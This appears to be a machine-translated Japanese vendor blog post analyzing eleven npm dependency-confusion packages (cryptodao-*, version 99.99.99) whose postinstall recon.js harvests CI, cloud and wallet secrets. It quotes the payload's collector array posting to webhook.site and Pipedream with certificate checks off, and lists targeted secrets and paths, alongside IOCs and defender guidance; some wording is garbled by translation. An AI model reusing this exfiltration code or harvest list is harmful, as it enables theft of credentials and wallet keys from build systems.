CryptoDAOの混乱:npmパッケージの収集 CI/CD 暗号の秘密

CryptoDAOの混乱:11個のnpmパッケージ、1つのペイロード、ハーベスティング CI/CD そして暗号通貨ウォレットの秘密

TL; DR

2026年06月17日に、単一のnpmアカウントが公開しました 1つの目的と1つのペイロードを共有する11個のパッケージそのうち10人が cryptodao- 接頭辞 (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); 11番目はスコープ付きです @public-for-cdao/coreすべてバージョンで公開されました 99.99.99 バイト単位で同一の recon.js 走る postinstall.

名前を見れば一目瞭然だ。まるで暗号通貨/DAOプロジェクトのプライベートツールチェーンの内部構成要素のようだ。人為的に高いバージョンで公開されたnpmレジストリに公開され、ビルドを待っている。 pipeline これは、それらの名前を解決するように構成されており、プライベートレジストリよりも前に、またはプライベートレジストリの代わりにパブリック npm に到達します。これは 依存関係の混乱そしてペイロードは、着陸予定地点に正確に調整されている。 CI/CD ランナー.

   postinstall 火災、 recon.js ホストの詳細を収集し、大まかにスキャンします クラウド、CI、および暗号通貨ウォレットの環境変数40個、何でも読みます .env 見つけられるファイルをすべて探し出し、秘密情報を含む行をそのまま転送し、そのバンドルを2つのコレクターに送信する。 webhook.site そして、TLS証明書の検証が無効になっているPipedreamエンドポイント。コピーは以下に記載されています。 /tmp.

重大度: 高いです影響を受ける生態系: npmこの記事執筆時点で、11個のパッケージすべてが利用可能でした。

攻撃の解剖学

この機構には4つの可動部品があり、そのどれもが、一度その仕組みを理解すれば、決して微妙なものではない。 パッケージ名のさらに下の階層を見てください。

1. リゾルバを誘い込むためのバージョンインフレ。 各パッケージはバージョンを宣言します 99.99.99依存関係の混乱は、パッケージマネージャーが要求したときに機能します。 内部名、公開レジストリもチェックし、最も新しいバージョンを選択します。 見つかりました。npm のキャレットまたはワイルドカード範囲のデフォルト選択は 設定されたすべてのソースの中で最も満足度の高いバージョン。プライベートなバージョンもすべて レジストリと公開されている npm が同じ名前に対して応答する場合、バージョン番号が大きい方が優先されます。 A 99.99.99 プロジェクトが持つ実際の内部バージョンよりも基本的に上位に位置する 到達したので、プライベートソースに固定されていないリゾルバは、 公開されている(そしてこの場合は敵対的な)コピー。オペレーターは、 対象の実際のバージョン番号。不合理な最大値を選択すると、常に同点になります 彼らの道を切り開く。

2. インストール後のトリガー。 package.json ペイロードを設置場所に配線する ライフサイクル:

{   "scripts": { "postinstall": "node recon.js" } }

パッケージのインポートは不要です。インストールするだけで、CI が pipeline 自動的に実行します recon.js.

3. 広範囲にわたる秘密の掃討作戦。 recon.js 結果配列を段階的に組み立てます。

  • ホストコンテキスト: ホスト名、プラットフォームとリリース、アーキテクチャ、ユーザー名、動作状況 ディレクトリにあります。
  • 環境変数: 約40個の名前とレコードの固定リストを反復処理します 設定されているもの。リストは興味深い。汎用的な CI トークンをペアにしている。 (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN)とクラウド 資格 (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) レジストリとコンテナのシークレット付き(NPMトークン, ドッカーパスワード, ハーバーパスワード)そして明らかに暗号通貨色の強いクラスター:  秘密鍵, ニモニック, シードフレーズ, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPC記録された値は最初の50文字に切り捨てられます。
  • .env ファイル: パスのリストを調査する — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, 。生産/。発達 バリアント — そして存在するファイルについては、 内容をフィルタリングして、一致する行に絞り込む キー|秘密|トークン|パス|プライベート|ニーモニック そして、それらの行を**完全に、切り捨てずに**結果に押し込みます。
  • ビルドホストコンテキスト: 最初の 20 エントリをリストします /ビルド/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, / tmp /.

パスリストと変数リストはGitLabランナーに重点が置かれており、 ペイロードは開発者ではなく、自己ホスト型のCIインフラストラクチャに直接向けられています ノートパソコン。収穫リストをカテゴリー別にグループ化することで、目的の収穫物が明確になります。

カテゴリー 到達した変数/経路
CI/CD 識別と展開 CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
クラウド AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
レジストリとコンテナ NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
データストア DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
暗号通貨/ブロックチェーン PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
メッセージング SLACK_TOKEN, DISCORD_TOKEN
ディスク上 .env 家族 + /home/gitlab-runner/.env, /root/.env, /app/**/.env; ディレクトリ一覧 /builds/, /var/lib/gitlab-runner/

暗号クラスタは、これを一般的なCIシークレットと区別する部分です。 スイープ: ウォレットのシードフレーズと署名キーは、 ブロックチェーンプロジェクトに直接マッピングされ、 クリプトダオ-/看板/契約 運送業者の命名。

4. 検証が無効になっている状態での二重データ流出。 収集された配列は シリアル化され、2つの宛先にPOSTされます。

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

拒否認証: false 送信時のTLS証明書チェックを無効にする 呼び出し。同じデータが標準出力に出力され(そのため、CI ジョブログにも記録される)、 に書き込ま /tmp/.npm_recon_ .jsonエラーは黙って無視されるため、 送信失敗は、インストール出力に単一の痕跡を残しません [偵察]インストール済み ライン。

ファイル内の主要なコメントでは、これを「依存関係の混乱」と表現している。 偵察ペイロード」環境値を50文字に切り詰めることで 概念実証の形。存在のみのビーコンを超えるのは、 .env 処理: 秘密情報を含む回線は完全に転送され、宛先は カウントするだけのシンクではなく、攻撃者が制御する2つの動作するコレクターです。 ヒット。

タイムライン

公開パターンは、11 回のスクリプトによるプッシュではなく、単一のスクリプトによるプッシュの特徴です。 独立したアップロード。

時刻(UTC、2026年06月17日) イベント
03:24:58 cryptodao-bot@99.99.99 公表
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — スコープ付きバリアント、約24分後

29秒の間に10個の荷物が発送され、およそ3秒に1個のペースだった。 範囲が限定された @public-for-cdao/core 約24分後に続いたのは2回目の 同じターゲットの命名規則、消費プロジェクトが参照する場合 単なる名前としてではなく、スコープ内の内部ツールチェーンとして扱われる。

妥協の指標

タイプ インジケータ
コレクタ hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
コレクタ hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
フックを取り付ける postinstall: node recon.js
ドロップされたファイル /tmp/.npm_recon_<timestamp>.json
ログマーカー [recon] <pkg>@<ver> installed on <hostname> (CIログの標準出力)
行動の rejectUnauthorized: false インストール中の発信HTTPS
ペイロード recon.js11個のパッケージすべてで同一(1つの共通ビルド)
99.99.99 すべてのパッケージに
エクストラ cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (すべて 99.99.99)
Publisher aduljune / aduljune@proton.me (メールアドレス未確認、リンクされたソースリポジトリなし)

 帰属と観察された行動

クラスターに関するすべての情報は、一つの手を指し示している。11個のパッケージすべてが公開された。 npmアカウントによる アダルトジューン (aduljune@proton.me未確認の住所で、 リンクされたソースリポジトリ)を25分以内に、同時に 99.99.99 バージョン、 発送 recon.js その内容はすべてのバイトで完全に同一である パッケージ(抽出された11個のコピーすべてでMD5が一致)。これは1つのペイロードです。 名前のリストに刻印されるだけで、独立したコードの再利用ではない。

名前リストは、対象となるターゲットを定義します。 クリプトダオ-* (NAIST) と cdao 説明する 暗号通貨/DAOプロジェクトのプライベートモジュールレイアウトとペイロードの収集リスト 推測を反映するミラー: 一般的な CI とクラウド シークレットに加えて、具体的には に手を伸ばす 秘密鍵, ニモニック, シードフレーズ、およびイーサリアム/BSC RPCおよび プロバイダーキー。 .env 検索パスとディレクトリ一覧はGitLab-runnerによるものです 具体的な。観察可能な効果は、 pipeline 騙されてこれらをインストールした 名前は、CI トークン、クラウド キー、およびディスク上の .env 秘密、そして ブロックチェーンプロジェクトとそのウォレットの素材が、2人の第三者収集業者に渡された。

私たちは、誰がそのアカウントを運営しているか、あるいはそのアカウントで何をしようと計画していたかについては何も主張しません。 データ。それ自体で成り立つ事実:名前は特定の種類の 内部ツールチェーンでは、ペイロードが実際の秘密値を読み取って送信し、 インフラは稼働中でした。

影響、傾向、および防御側の指針

依存関係の混乱 解決器の動作を利用するため、効果的であり続ける。 あらゆるパッケージに脆弱性がある。ここでのキャリアは些細なものであり、ほぼ空の11個の パッケージだが、爆発半径は pipeline 誤ってパブリックnpmを好む 内部名の場合。CIランナーは、それが起こる最悪の場所です。 トークンと .env このペイロードが読み込むファイルと、それらをインストールする 依存関係を非対話的に処理するため、 インストール後 誰にも見られずに走る。

このクラスターは、私たちがよく目にするパターンにも当てはまります。インストール時にペイロードが 実際の資格情報収集を行いながら、「調査」や「偵察」と称する。 ファイル内の変更は、ランナー上でのコードの動作には影響しません。2つの設計上の選択肢により、 アクティビティは静かです。すべてのネットワークおよびファイルシステム操作は、 エラーを破棄する例外ハンドラ。送信がブロックされた場合やファイルが見つからない場合など。 診断出力は生成されず、印刷されるのは無害なメッセージ1つだけです。 [偵察] …インストール済み 通常のインストール時の雑談に溶け込むライン。 Webhook.サイト Pipedreamも意図的に利便性を追求したものであり、どちらも無料です。 リクエストキャプチャサービスを即座にプロビジョニングするため、オペレーターはサーバーを必要としません それらは独自のものであり、送信ログでは宛先は通常のSaaSホスト名のように見えます。

経済的な側面が、たとえ キャリアコードは簡単だ。11個の名前を登録するのに費用はかからず、ペイロードは1つだ。 ファイルは11回コピーされ、パッケージマネージャがすべての実行を行います。 設定ミス pipeline これらの名前のいずれかを消費する場所はすべて、 操作。

防衛側が取るべき具体的な措置:

  • 内部スコープをプライベートレジストリに固定します。 npm を設定して内部名が
     スコープはレジストリに対してのみ解決されます (スコープ付き .npmrc レジストリ マッピング、
    または、所有する名前空間に対してパブリック npm に決してフォールスルーしないプロキシ)。他の誰も登録できないように、パブリック スコープ名を予約します。
  • Commit ロックファイルと –ignore-scripts オプションを指定してインストールしてください。 CIにおいて 可能な場合、または インストールスクリプトが本当に必要な少数の依存関係を精査する。  recon.js は、 インストール後 実行されません。
  • 内部的な名前の 99.99.99 (またはその他の異常に高い) バージョンを扱う 危険信号として 依存関係のレビューとレジストリの監視において。
  • インストール時のデータ流出に関するアラート。 A インストール後 アウトバウンドHTTPSを開く 接続、特に証明書検証が無効になっている場合は、 webhook.site、Pipedream、または同様のリクエストキャプチャサービスは、ネットワークのエッジでブロックし、ビルドログにフラグを立てる価値があります。
  • 遺物を探し出せ。 ランナーをチェック /tmp/.npm_recon_*.json そして、のために [recon] …インストール済み…最近のCIログのマーカー。見つかった場合は、ローテーションします。 認証情報が漏洩する pipeline — CIトークン、クラウドキー、レジストリトークン、および環境または.envファイルに存在するウォレットシードまたは秘密鍵。

参考情報

本稿執筆時点では、このクラスターに関する外部報告は存在しなかった。分析 上記は公開されているパッケージの内容に直接基づいています

sca-tools-ソフトウェア構成分析ツール
ソフトウェアのリスクを優先順位付けし、修復し、保護する
無料アカウントを作成しましょう。
いいえ、クレジットカードは必要ありません。

ソフトウェア開発と納品を安全に

Xygeni製品スイートと共に